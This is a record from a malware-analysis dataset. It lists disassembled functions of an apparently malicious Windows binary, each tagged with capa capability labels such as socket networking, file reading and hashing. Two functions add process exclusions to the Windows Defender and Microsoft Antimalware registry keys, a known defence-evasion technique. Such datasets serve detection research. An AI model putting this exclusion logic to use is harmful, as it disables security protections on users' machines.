joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1014f590
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x40], 0
mov ecx, dword [ebp + 8]
mov dword [0x101d98ac], ecx
cmp dword [ebp + 0xc], 0
jne 0x1014f5db
jmp 0x1014f740
mov edx, dword [ebp + 0x10]
shl edx, 0xa
shl edx, 0xa
mov dword [0x101d98b8], edx
push 0
push 0x40000080
push 4
push 0
push 7
push 0x40000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x101c8894], eax
push 0
mov ecx, dword [0x101c8894]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
add eax, 0x400
mov dword [ebp - 0x40], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x2c]
push edx
push 0
mov eax, dword [ebp - 0x40]
push eax
push 0
push 2
mov ecx, dword [0x101c8894]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x1014f697
push 0x1f4
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1014f68b
push 1
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [0x101c8894]
push edx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov dword [ebp - 0x3c], eax
jmp 0x1014f697
mov eax, dword [0x101c8894]
push eax
call dword [sym.imp.KERNEL32.dll_CancelIo]
cmp dword [ebp - 0x3c], 0
je 0x1014f6c9
push 2
push 0
push 0
mov ecx, dword [0x101c8894]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [ebp - 0x2c]
push edx
push 0
mov eax, dword [ebp - 0x40]
push eax
push 0
mov ecx, dword [0x101c8894]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
cmp dword [0x101c8894], 0xffffffff
je 0x1014f6f8
push 0x101c8b84
push 0x101c8b8c
push reloc.WS2_32.dll_bind
call fcn.1014d870
add esp, 0xc
cmp eax, 1
jne 0x1014f6f8
mov dword [0x101d98b0], 1
push 1
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [ebp - 0x38], 0xc
mov dword [ebp - 0x30], 1
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x34], ecx
push 0x101c8ba0
push 1
push 0
lea edx, [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x101d98b4], eax
mov esp, ebp
pop ebp
ret
Function at 0x1014fb20
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x101c1b88]
xor eax, ebp
mov dword [ebp - 8], eax
mov word [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov word [ebp - 0xa], ax
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x1014fb68
xor ax, ax
jmp 0x1014fb72
mov cx, word [ebp - 0x16]
push ecx
call sub.WS2_32.dll_ntohs
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1011a380
mov esp, ebp
pop ebp
ret

Function at 0x1014fec0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x101c1b88]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recvfrom]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x1014ff2e
cmp dword [ebp + 0x14], 0
je 0x1014ff18
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.WS2_32.dll_ntohl
push eax
call fcn.1014fcb0
add esp, 8
cmp dword [ebp + 0x18], 0
je 0x1014ff2e
mov cx, word [ebp - 0x12]
push ecx
call sub.WS2_32.dll_ntohs
mov edx, dword [ebp + 0x18]
mov word [edx], ax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a380
mov esp, ebp
pop ebp
ret

Function at 0x1014ff40
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 0x10], 0xffffffff
jne 0x1014ff68
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1011e3a0
add esp, 4
mov dword [ebp + 0x10], eax
mov edx, dword [ebp + 0x10]
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0
jle 0x1014ffaa
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x1014ff96
or eax, 0xffffffff
jmp 0x1014ffad
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
jmp 0x1014ff6e
mov eax, dword [ebp + 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10150630
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x101c1b88]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.1014fb80
add esp, 4
test eax, eax
jne 0x10150698
call fcn.10150020
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10150692
mov edx, dword [ebp - 0x18]
movsx eax, word [edx + 0xa]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.1011e560
add esp, 0xc
mov edx, dword [ebp - 0x10]
push edx
call sub.WS2_32.dll_ntohl
jmp 0x101506a4
xor eax, eax
jmp 0x101506a4
mov eax, dword [ebp + 8]
push eax
call fcn.1014fd70
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a380
mov esp, ebp
pop ebp
ret

Function at 0x101506c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x101c1b88]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 8], ecx
mov word [ebp - 0x1c], 2
mov dx, word [ebp + 0x10]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
mov eax, dword [ebp + 0xc]
push eax
call fcn.10150630
add esp, 4
push eax
call sub.WS2_32.dll_htonl
mov dword [ebp - 0x18], eax
cmp dword [ebp - 8], 0
jle 0x10150748
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jg 0x10150734
or eax, 0xffffffff
jmp 0x1015074b
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x20]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
jmp 0x10150706
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1011a380
mov esp, ebp
pop ebp
ret
Function at 0x10150760
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x101c1b88]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 4], 0
call fcn.10150020
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1015079d
or eax, 0xffffffff
jmp 0x10150818
cmp dword [ebp + 0xc], 0
jl 0x101507ac
cmp dword [ebp + 0xc], 0xffff
jle 0x101507b1
or eax, 0xffffffff
jmp 0x10150818
mov word [ebp - 0x1c], 2
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10150630
add esp, 4
push eax
call sub.WS2_32.dll_htonl
mov dword [ebp - 0x18], eax
push 0x10
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10150815
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 8]
push ecx
call sub.WS2_32.dll_closesocket
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.WS2_32.dll_WSASetLastError]
or eax, 0xffffffff
jmp 0x10150818
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1011a380
mov esp, ebp
pop ebp
ret
Function at 0x10150830
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x101c1b88]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 4], 0x10000
call fcn.10150020
cmp dword [ebp + 0xc], 0
jne 0x1015086a
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1c], eax
jmp 0x10150879
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x10150887
or eax, 0xffffffff
jmp 0x10150937
mov eax, dword [ebp + 0x10]
push eax
call fcn.1014fb80
add esp, 4
test eax, eax
je 0x101508b3
mov ecx, dword [ebp + 0x10]
push ecx
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x101508b1
or eax, 0xffffffff
jmp 0x10150937
jmp 0x101508bd
push 0
call sub.WS2_32.dll_htonl
mov dword [ebp - 0x14], eax
mov word [ebp - 0x18], 2
mov dx, word [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 0x10
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x101508ec
or eax, 0xffffffff
jmp 0x10150937
cmp dword [ebp + 0xc], 0
je 0x10150900
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_listen]
push 4
lea ecx, [ebp - 4]
push ecx
push 0x1002
push 0xffff
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1011a380
mov esp, ebp
pop ebp
ret
Function at 0x10151320
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
je 0x1015134b
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x1015134d
jmp 0x1015139f
push 0
lea edx, [ebp - 8]
push edx
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftMicrosoft_AntimalwareExclusionsProcesses_
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x10151376
jmp 0x1015139f
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x10151394
jmp 0x1015139f
mov dword [ebp - 0xc], 1
xor eax, eax
jne 0x1015133b
cmp dword [ebp - 8], 0
je 0x101513af
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x101513c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
je 0x101513eb
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x101513ed
jmp 0x1015143f
push 0
lea edx, [ebp - 8]
push edx
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_DefenderExclusionsProcesses_
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x10151416
jmp 0x1015143f
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x10151434
jmp 0x1015143f
mov dword [ebp - 0xc], 1
xor eax, eax
jne 0x101513db
cmp dword [ebp - 8], 0
je 0x1015144f
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x10151dc0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x101c1b88]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x250], 0
mov byte [ebp - 0x210], 0
push 0x207
push 0
lea eax, [ebp - 0x20f]
push eax
call fcn.1011e8d0
add esp, 0xc
cmp dword [0x101d987c], 0
jne 0x10151e1a
push str.ShellExecuteEx
push str.Shell32.dll
call fcn.101518c0
add esp, 8
mov dword [0x101d987c], eax
cmp dword [0x101d987c], 0
jne 0x10151e2a
xor eax, eax
jmp 0x10151ecf
push 0x3c
push 0
lea ecx, [ebp - 0x24c]
push ecx
call fcn.1011e8d0
add esp, 0xc
mov dword [ebp - 0x24c], 0x3c
mov dword [ebp - 0x248], 0x4c0
mov dword [ebp - 0x240], str.open
mov edx, dword [ebp + 8]
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x238], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x230], ecx
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.1014bf60
add esp, 8
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea edx, [ebp - 0x24c]
push edx
call dword [0x101d987c]
mov dword [ebp - 0x250], eax
cmp dword [ebp + 0x14], 0
je 0x10151ebc
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x214]
mov dword [eax], ecx
jmp 0x10151ec9
mov edx, dword [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011a380
mov esp, ebp
pop ebp
ret
Function at 0x10151ee0
Capabilities:
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
push 0x101c9340
push 0x14e
push 0x101c9354
push 0x101c9364
push 2
call fcn.1014edc0
add esp, 0x18
mov ecx, dword [ebp + 8]
push ecx
push str.GetSubSystemNum__s
push 0x14e
push 0x101c938c
push 0x101c939c
push 2
call fcn.1014f750
add esp, 0x18
xor edx, edx
jne 0x10151efb
push 0
push 0x80
push 3
push 0
push 1
push closesocket
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x10151fb5
mov ecx, dword [ebp + 8]
push ecx
push 0x101c93b0
push 0x158
push 0x101c93c4
push 0x101c93d4
push 2
call fcn.1014edc0
add esp, 0x18
mov edx, dword [ebp + 8]
push edx
push 0x101c93e8
push 0x158
push 0x101c93fc
push 0x101c940c
push 2
call fcn.1014f750
add esp, 0x18
xor eax, eax
jne 0x10151f68
jmp 0x101520d7
mov dword [ebp - 0x14], 0x40
mov ecx, dword [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10151fd6
jmp 0x101520d7
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x14]
je 0x10151ffb
jmp 0x101520d7
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
movzx eax, word [edx]
cmp eax, 0x5a4d
je 0x10152013
jmp 0x101520d7
push 0
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x3c]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x14], 0xf8
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 8], eax
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x14]
je 0x1015206a
jmp 0x101520d7
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0x4550
je 0x1015207d
jmp 0x101520d7
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 0x5c]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + 0x5c]
push ecx
push 0x101c9420
push 0x195
push 0x101c9430
push 0x101c9440
push 2
call fcn.1014edc0
add esp, 0x18
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + 0x5c]
push eax
push str.SubSystem:__d
push 0x195
push str.GetSubSystemNum
push 0x101c9474
push 2
call fcn.1014f750
add esp, 0x18
xor ecx, ecx
jne 0x10152087
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10152100
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp + 8]
mov dword [edx], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], 0x98badcfe
mov edx, dword [ebp + 8]
mov dword [edx + 0xc], 0x10325476
pop ebp
ret

Function at 0x10153260
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2080
call fcn.10123010
mov eax, dword [0x101c1b88]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x2020], 0
push 0x1fff
push 0
lea eax, [ebp - 0x201f]
push eax
call fcn.1011e8d0
add esp, 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x20], 0
xor ecx, ecx
mov dword [ebp - 0x1f], ecx
mov dword [ebp - 0x1b], ecx
mov dword [ebp - 0x17], ecx
mov word [ebp - 0x13], cx
mov byte [ebp - 0x11], cl
push 0x101ca3d8
mov edx, dword [ebp + 8]
push edx
call fcn.1011ae28
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x101532d9
xor eax, eax
jmp 0x101533b6
lea eax, [ebp - 0x2080]
push eax
call fcn.10152100
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
call fcn.1011ac18
add esp, 4
test eax, eax
jne 0x10153331
mov edx, dword [ebp - 8]
push edx
push 0x2000
push 1
lea eax, [ebp - 0x2020]
push eax
call fcn.1011b273
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x2020]
push edx
lea eax, [ebp - 0x2080]
push eax
call fcn.101530b0
add esp, 0xc
jmp 0x101532e8
lea ecx, [ebp - 0x2080]
push ecx
lea edx, [ebp - 0x20]
push edx
call fcn.101531b0
add esp, 8
mov eax, dword [ebp - 8]
push eax
call fcn.1011ace8
add esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 0x2024], 0
jmp 0x1015337b
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x2024]
add edx, 2
mov dword [ebp - 0x2024], edx
mov eax, dword [ebp + 0x10]
sub eax, 2
cmp dword [ebp - 0x2024], eax
jg 0x101533b1
cmp dword [ebp - 4], 0x10
jge 0x101533b1
mov ecx, dword [ebp - 4]
movzx edx, byte [ebp + ecx - 0x20]
push edx
push str._02X
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x2024]
push eax
call fcn.1011a63e
add esp, 0xc
jmp 0x10153363
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1011a380
mov esp, ebp
pop ebp
ret
Function at 0x101533d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2068
call fcn.10123010
mov eax, dword [0x101c1b88]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov byte [ebp - 0x2010], 0
push 0x1fff
push 0
lea eax, [ebp - 0x200f]
push eax
call fcn.1011e8d0
add esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x101ca3c8
mov ecx, dword [ebp + 8]
push ecx
call fcn.1011ae28
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10153430
xor eax, eax
jmp 0x101534ac
lea edx, [ebp - 0x2068]
push edx
call fcn.10152100
add esp, 4
mov eax, dword [ebp - 4]
push eax
call fcn.1011ac18
add esp, 4
test eax, eax
jne 0x10153488
mov ecx, dword [ebp - 4]
push ecx
push 0x2000
push 1
lea edx, [ebp - 0x2010]
push edx
call fcn.1011b273
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x2010]
push ecx
lea edx, [ebp - 0x2068]
push edx
call fcn.101530b0
add esp, 0xc
jmp 0x1015343f
lea eax, [ebp - 0x2068]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.101531b0
add esp, 8
mov edx, dword [ebp - 4]
push edx
call fcn.1011ace8
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1011a380
mov esp, ebp
pop ebp
ret
Function at 0x101544c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
jmp 0x101544ed
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
add eax, 1
xor edx, edx
div dword [ebp + 0x14]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
jae 0x10154535
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
movzx eax, byte [edx]
shl eax, 4
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movzx edx, byte [ecx]
sar edx, 4
add eax, edx
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
mov byte [ecx], al
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
movzx eax, byte [edx]
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 8]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
mov byte [ecx], al
jmp 0x101544d6
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret

Function at 0x10154540
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
jmp 0x1015456d
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
add eax, 1
xor edx, edx
div dword [ebp + 0x14]
mov dword [ebp - 0xc], edx
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
jae 0x101545a6
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
movzx eax, byte [edx]
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 5], al
movzx eax, byte [ebp - 5]
shl eax, 4
movzx ecx, byte [ebp - 5]
sar ecx, 4
add eax, ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
mov byte [edx], al
jmp 0x10154556
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret

Function at 0x101545b0
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0x4c11db7
mov dword [ebp - 8], 0
jmp 0x101545cf
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xff
jg 0x1015465d
push 8
mov ecx, dword [ebp - 8]
push ecx
call fcn.10153640
add esp, 8
shl eax, 0x18
mov edx, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov dword [ecx + edx*4], eax
mov dword [ebp - 0xc], 0
jmp 0x10154608
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 8
jge 0x1015463b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4]
shl edx, 1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax*4]
and eax, 0x80000000
neg eax
sbb eax, eax
and eax, dword [ebp - 4]
xor edx, eax
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov dword [eax + ecx*4], edx
jmp 0x101545ff
push 0x20
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
mov eax, dword [edx + ecx*4]
push eax
call fcn.10153640
add esp, 8
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
mov dword [edx + ecx*4], eax
jmp 0x101545c6
mov esp, ebp
pop ebp
ret